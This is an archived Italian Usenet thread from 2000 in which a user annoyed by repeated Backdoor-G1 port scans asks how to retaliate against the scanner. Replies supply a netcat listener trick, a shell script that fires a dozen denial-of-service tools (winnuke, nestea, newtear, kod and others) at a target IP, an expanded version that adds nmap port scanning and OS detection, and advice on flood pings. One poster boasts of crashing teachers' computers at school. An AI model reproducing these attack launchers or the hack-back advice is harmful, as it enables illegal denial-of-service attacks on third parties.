Newsgroup: it.comp.sicurezza.varie
Titolo: Sto navigando pacioso....

Sto navigando pacioso e tranquillo quando, come al solito, verso le 1.40
- 2.10 di notte arriva il solito bischero da Libero che fa portscan e,
puntualmente, @Guard me lo fa notare.... L'alert riportato è
"Backdoor-G1" ed oramai è un classico..... visto che la cosa si protrae
da circa un mese (tranne Sab e Dom) e considerato che il bischero è
sempre il solito (l'ip è spesso lo stesso), mi piacerebbe, così per
sfizio, almeno una volta, fargli un tiro mancino.....
Non è corretto, lo so, e neppure legale.....
Non sono venuto qui a chiedere come danneggiare chiccessia, ma mi chiedo
se esiste un motivo x fargli passare la voglia..... tipo, chessò, "Toc,
Toc, c'è nessuno?", "Sì, c'è qualcuno ed hai rotto le scatole!",
"SBAM!".........
Nelle mie peregrinazioni ho rinvenuto in un sito due
gadget: ICMP Ping Flood e IGMP Echo Bomber..... a parte il nome del
secondo, che suona piuttosto sinistro, possono essere di qualche
utilità? Forse so già la risposta: non usarli :-)
Infatti non li ho mai usati.
Suggerimenti? Consigli?
Grazie in anticipo a tutti.
-- 
Morfeo, a midnight surfer
*************************
<< The web is uncharted and deep... >>
 
http://space.tin.it/io/giaczucc
 
 Remove "ONLY" from my address to reply 
******************************************

 Forse so già la risposta: non usarli :-)
in effetti e' cosa + che consigliata
--
Saluti
Leonardo

sfizio, almeno una volta, fargli un tiro mancino.....
Procurati NETCAT e lancialo con
	netcat -l -p 1236
(attenzione, vari antivirus diranno "Backdoor G1 presente...").
Quando il pirla arriva, vedrai la chiamata RU-There di G1 dentro alla
finestra di NETCAT... e quello che scrivi la' dentro viene spedito al
client della backdoor.
Costui, probabilmente un lamer, non avra' molti mezzi di rappresaglia
per vendicarsi dell'innocente scherzetto, ma metti in conto che forse
ce li ha; entrarti nel PC se hai un AV aggiornato, e tanto piu' se ti
difendi con firewall, e' impossibile; stroncarti il PC a distanza non
e' detto che sia altrettanto impossibile.
Se pero' succede il peggio, una denuncetta ci puo' senz'altro stare.
Leonardo
".signature": bad command or file name

 Se pero' succede il peggio, una denuncetta ci puo' senz'altro stare.
Of course ;-)
Thankz.



nukarti, crasharti, rebootarti...
...con una cosa tipo questo mio fantasioso script...
root [/root]# cat bin/nuke
#!/bin/sh
twinge $1 2500 &
RFPoison $1 &
pimp $1 &
moyari13 $1 500 &
simping $1 &
winnuke $1 &
killwin $1 &
sleep 3
kox $1 -p 139 -t 150 &
kox $1 -p 12345 -t 150 &
kox $1 -p 31337 -t 150 &
sleep 3
nestea $1 $1 -t 139 -n 150 &
nestea $1 $1 -t 12345 -n 150 &
nestea $1 $1 -t 31337 -n 150 &
sleep 3
newtear $1 $1 -s 20 -t 139 -n 150 &
newtear $1 $1 -s 20 -t 31337 -n 150 &
newtear $1 $1 -s 20 -t 12345 -n 150 &
sleep 3
kod $1 -p 139 -t 150 &
kod $1 -p 12345 -t 150 &
kod $1 -p 31337 -t 150 &
...quelli che si sono salvati in 2 anni di questa roba si contano su
una mano...
-- 
    Pardo 
 
http://pardo.cjb.net

 ...con una cosa tipo questo mio fantasioso script...
Ma il firewall a che serve, allora?



per evitare che ti "penetrino" attraverso netbios o con backdoorz o ti
usino come proxy o qualunque altra cosa...
ma in effetti se ci stai attento (a non avere "buchi del culo") il
firewall non fa molta differenza, a parte una maggiore impressione di
tamarrezza per quelli fuori...
originariamente il firewall dovrebbe proteggere dei buchi (potenziali) 
che DEVONO stare aperti... ad esempio proteggere un dns locale da
internet... ma se non c'e` nessun buco...
-- 
    Pardo 
 
http://pardo.cjb.net

 ma se non c'e` nessun buco...
...c'e l'icmp...:-)

una mano...
AtGuard li blocca tutti, se non sbaglio (PS, ti manca jolt2)


...Uh!
Un dialogo tra nuker!
Vi propongo come consulenti di Livia Turco??? :-)
P.S.
jolt2 @guard non lo ferma manco per niente...
...quando mollano la presa, allora si degna di segnalare...:-(

On Mon, 09 Oct 2000 21:13:01 GMT, 
Pardo (
Pardo@indirizzo_falso.org
)
wrote:
| root [/root]# cat bin/nuke
| 
| #!/bin/sh
 
 [snip]
 C'e` mezzo Rootshell qui dentro... :-))))))
| ...quelli che si sono  salvati in 2 anni di questa  roba si contano su
| una mano...
 Io preferisco il  solito vecchio ping -f: un buon  90% delle bestie che
 provano a  entrarmi sulla 12345 (lasciata  a bella posta aperta  tra le
 maglie  del  firewall,  solo  perche`  dietro  ho  iplogd  settato  per
 avvisarmi con una salva di beep)  lo stronco cosi`... se poi serve, uso
 l'artiglieria pesante.
-- 
Emmanuele Bassi         |	         [ 
http://digilander.iol.it/ebassi
 ]
   (Zefram)             |                     [ 
emmanue...@iol.it
 ]
GnuPG Key Fingerprint: 9747 635E B95A B0B3 4370 1CAA CAF7 512B 945C A44C


..del codice senza bug non è ancora stato scritto...
l'unico computer sicuro è quello spento....
...non ci sono più le mezze stagioni......

  Io preferisco il  solito vecchio ping -f:
Avete tutti tutta questa banda da sprecare??? :-)

a non avere "buchi del culo"
Beh almeno uno lo *devi* avere, altrimenti e' tragica... :-)
Ciao.
-- 
   ______________
  |\____________/|
  ||  Vittorio  ||
  ||____________||
  |/____________\|
For email: 
vibr...@freemail.it
 - using the one upthere <Z@v.b> you can't contact me.
Note: You can't remove any Microsoft entries, since you would have to be real computer guru.

 Beh almeno uno lo *devi* avere, altrimenti e' tragica... :-)
Eh, si corre il rischio di diventare repleti.. [1] :-)
[1] E' un termine medico, per chi non lo sapesse, che indica una persona
che fa da contenitore per i propri rifiuti organici :-P [2]
[2] Si, e' schifosa, ma dovevo pur spiegarlo...
-- 
Pierluigi De Rosa (
tho...@durin.khazad-dum.net
).
<<      LINUX: the choice of a GNU generation     >>
<<   For my real address... ask the Balrog.       >>
* Sostenete la Lega per la Soppressione dei Troll *

  provano a  entrarmi sulla 12345 (lasciata  a bella posta aperta  tra le
E' efficiente ma se accoppiato con qualcos'altro ha migliore effetto.


kod $1 -p 31337 -t 150 &
Perdiana, la versione bash di dungheap/matrioska, ma senza portscan ;-)
BTW, potresti usare:
#!/bin/sh
# Use of this script is discouraged. Use dungheap instead (requires
# either netstuff.h or a SuSE distribution, whichever may fit)
# RANGE="1-1024,1080,6660-6680,12345-12350,31336-31790"
# MAXPORTS=100
# PORTS="$( sudo nmap -sS -p$RANGE $1 | grep 'open.*tcp' \
# | cut -f1 -d ' ' | tr '\n' ')' | head -n $MAXPORTS )"
# SNARK="$( echo $PORTS | tr ' ' ',' )"
# OS="$( sudo nmap -O -p\"$SNARK\" $1 )"
# case "$OS" in
# 	Windows*)
#		WITHPORT="wp f"
#		NOPORT="wn p"
#	;;
#       ...
# esac
# Default ports when --no-portscan
PORTS="135 139 12345 31337"
# Modules (simply add here; sudo when necessary)
f_kod()    { kod $1 -p $2 -t $3 & }
f_newtear  { newtear $1 $1 -s 20 -t $2 -n $3 & }
f_nestea   { nestea $1 $1 -t $2 -n $3 & }
p_twinge   { twinge $1 2500 & }
p_rfpoison { RFPoison $1 & }
p_pimp	   { pimp $1 & }
p_moya	   { moyari13 $1 500 & }
p_simping  { simping $1 & }
wn_winnuke { winnuke $1 & }
wn_killwin { killwin $1 & }
...
if [ -z "$2"]; then
	NTT=150
else
	NTT=$2
fi
# DoSs needing ports
PORTFUL=""; COMMA=""
for class in $WITHPORT; do
	PORTFUL="$PORTFUL$COMMA^$class"; COMMA="\|"
done
# DoSs not needing ports
PORTLESS=""; COMMA=""
for class in $NOPORT; do
	PORTLESS="$PORTLESS$COMMA^$class"; COMMA="\|"
done
PUKES="$( grep "$PORTFUL" $0 | cut -f1 -d'(' )"
DUNGS=$( grep "$PORTLESS" $0 | cut -f1 -d'('" )
for port in $PORTS; do
	for puke in $PUKES; do $puke $IP $port $NTT; done
done
for dung in $DUNGS; do $dung $IP; done


 # RANGE="1-1024,1080,6660-6680,12345-12350,31336-31790"
[RICVT]
Poi, quando qualcuno mi chiede "Ci sentiamo in IRC ?", si stupisce
che io risponda "No, grazie, ho sentito storie strane sulla gente che
ci gira"...
Bye, G.

jolt2 @guard non lo ferma manco per niente...
... incluso Jolt2, che tra l'altro può essere bloccato persino dal driver 
IP standard, opportunamente aggiornato, ovviamente. E dal kernel di Linux, 
opportunamente patchato

On Wed, 11 Oct 2000 01:21:16 +0200, 
Lyapunov (
lyap...@scientist.com
)
wrote:
| >  C'e` mezzo Rootshell qui dentro... :-))))))
| 
| Vedo che il nuker-forum continua...:-)
| Beh, procuratevi targa2 ed avrete un all-in-one...
 
  Gia` c'e`, gia` c'e`... :-)
  Io lo usavo al liceo per buttare giu` i computer (win98) dei prof dal
  server (Linux)... <veg>
 
| >  Io preferisco il  solito vecchio ping -f:
| 
| Avete tutti tutta questa banda da sprecare??? :-)
 Ti assicuro che lo show dura, tendenzialmente, mooooooooooolto poco.


grafica e niente nuke
beh, considera che un nuke, non un flood, dura si e no il tempo di raggiungere
le masse, dopodiche e' gia' in curva di discesa. Esempio:
mi chiedo quanti Win95 con porta 139 aperta ci siano ancora in giro. magari
molti, ma non e' questo il nesso :) ... eppure, in moltissimi script irc
e compagnia bella, c'e' ancora il lancio automatico del primissimo winnuke
che cercava solo la 139 per mandargli in OOB una stringa.
Eppure funzionava eccome, e niente grafica :)
Ma il tempo passa ... ed anche i nuker invecchiano.
Molti della nuova generazione poi, lo sono solo in senso lato, richiedendo
l'invio di PIU' pacchetti verso bersagli che soddisfino requisiti particolari.
Ma arriveranno nuovi winnuke e teardrop, prima o poi ... ;)
invy

ci gira"...
Boh, io ci giravo e non m'e' mai successo niente (oggi ci giro poco, con
un'identita' falsa, ma e' un'altra storia).
O meglio, da quando cambiai un certo strafottutissimo modulo di memoria,
non m'e' piu' successo niente. Ora che ci penso sara' almeno un anno che
Fenester non mi da' un BSOD.
Leonardo "eppure ogni tanto lo accendo"


 l'artiglieria pesante.
Scusa, che differenza c'e' col ping ordinario?
-- 
峻artin.luther.blissett
Attenzione: e-mail alterata dalla presenza di numeri pari

On Sat, 14 Oct 2000 09:41:17 +0200, 
峻artin.luther.blissett (
boldon...@hotmail2.com
)
wrote:
| > Io preferisco il  solito vecchio ping -f: un buon  90% delle bestie che
| > provano a  entrarmi sulla 12345 (lasciata  a bella posta aperta  tra le
| > maglie  del  firewall,  solo  perche`  dietro  ho  iplogd  settato  per
| > avvisarmi con una salva di beep)  lo stronco cosi`... se poi serve, uso
| > l'artiglieria pesante.
| Scusa, che differenza c'e' col ping ordinario?
 La stessa differenza che c'e` tra un telefono che squilla ogni trenta
 secondi per due minuti, e uno che squilla ogni decimo di secondo, per
 cinque minuti. Di solito ti rompi le palle dopo i primi dieci secondi
 ma c'e` gente piu` sensibile e meno sensibile, quindi il tempo varia.
 Sostituisci "telefono" con "computer" e "squillo" con "ping", e avrai
 chiara la differenza.
 +++
 NB: Windows non ha il "ping -f", e, sotto Linux, solo root ha modo di 
 usarlo.


  NB: Windows non ha il "ping -f",
Ce l'ha, ce l'ha.
C:\WINDOWS>ping /?
Sintassi: ping [-t] [-a] [-n numero] [-l lunghezza] [-f] [-i TTL] [-v
TOS]
               [-r numero] [-s numero] [[-j elenco-host] | [-k
elenco-host]]
               [-w timeout] elenco-destinazioni
Opzioni:
[...]
  -f             Imposta il flag Non frammentare nel pacchetto.
[...]
C:\WINDOWS>
-- 
Attenzione: questo messaggio ti e' arrivato dalla rete e
in qualche modo si e' insinuato nel tuo hard disk...
Elezioni on line     : 
http://www.radicali.it
SecurFaq             : 
http://members.nbci.com/gouldukat/
Biancorossi Siamo Noi: 
http://www.tifonet.it/free/ancona/

 Ce l'ha, ce l'ha.
No, no, no...
-f      Flood ping.  Outputs packets as fast as they come back or one
        hundred times per second, whichever is more.  For every
        ECHO_REQUEST sent a period ``.'' is printed, while for ever
        ECHO_REPLY received a backspace is printed.  This provides a
        rapid display of how many packets are being dropped.  Only the
        super-user may use this option.  This can be very hard on a net­
        work and should be used with caution.

On Sun, 15 Oct 2000 12:51:59 +0200, 
M.Bald...@agora.stm.it
 (
M.Bald...@agora.stm.it
)
wrote:
| >  NB: Windows non ha il "ping -f",
| 
| Ce l'ha, ce l'ha.
 Ah-ehm... no, non ce l'ha... ;-)
     --f     Flood ping.  Outputs packets as fast as they come back or one
             hundred times per second, whichever is more.  For every
             ECHO_REQUEST sent a period ``.'' is printed, while for ever
             ECHO_REPLY received a backspace is printed.  This provides a
             rapid display of how many packets are being dropped.  Only the
             super-user may use this option.
-- 


 Scusa, che differenza c'e' col ping ordinario?
# man ping
RTFM !


 RTFM !
-- 


ci gira"...
Installatevi Metropolis, figliUoli, quante volte ve lo devo dire?
O:-)
Fabrizio

 Leonardo "eppure ogni tanto lo accendo"
:-)
Io ho scoperto dei settori "non affidabili" sull'HD che mi davano
gli stessi problemi. San Peter (Norton) mi ha fatto la grazia, li
ho settati come bad con le vecchie NU, e da allora... :-))
Ah, _naturalmente_ per scazdisk era tutto a posto.
Un Paperino "diamo a Bill quel che spetta a Bill"...
si accettano suggerimenti ;-))

si accettano suggerimenti ;-))
Mi ci tiri dentro alla grande ;-)
Parafrasando l'evangelica  frase, diamo  a dio ecc  ecc, visto  che il
biondino non e' ancora una divinita' rimane la razione di Cesare:
una ventina pugnalate da riceversi sulla piazza del senato romano <G>.
Ciao Francesco.
<*>  Appunti Linux per il pinguino che non deve chiedere mai. <*>  
<*>  
http://www.pluto.linux.it
                                <*>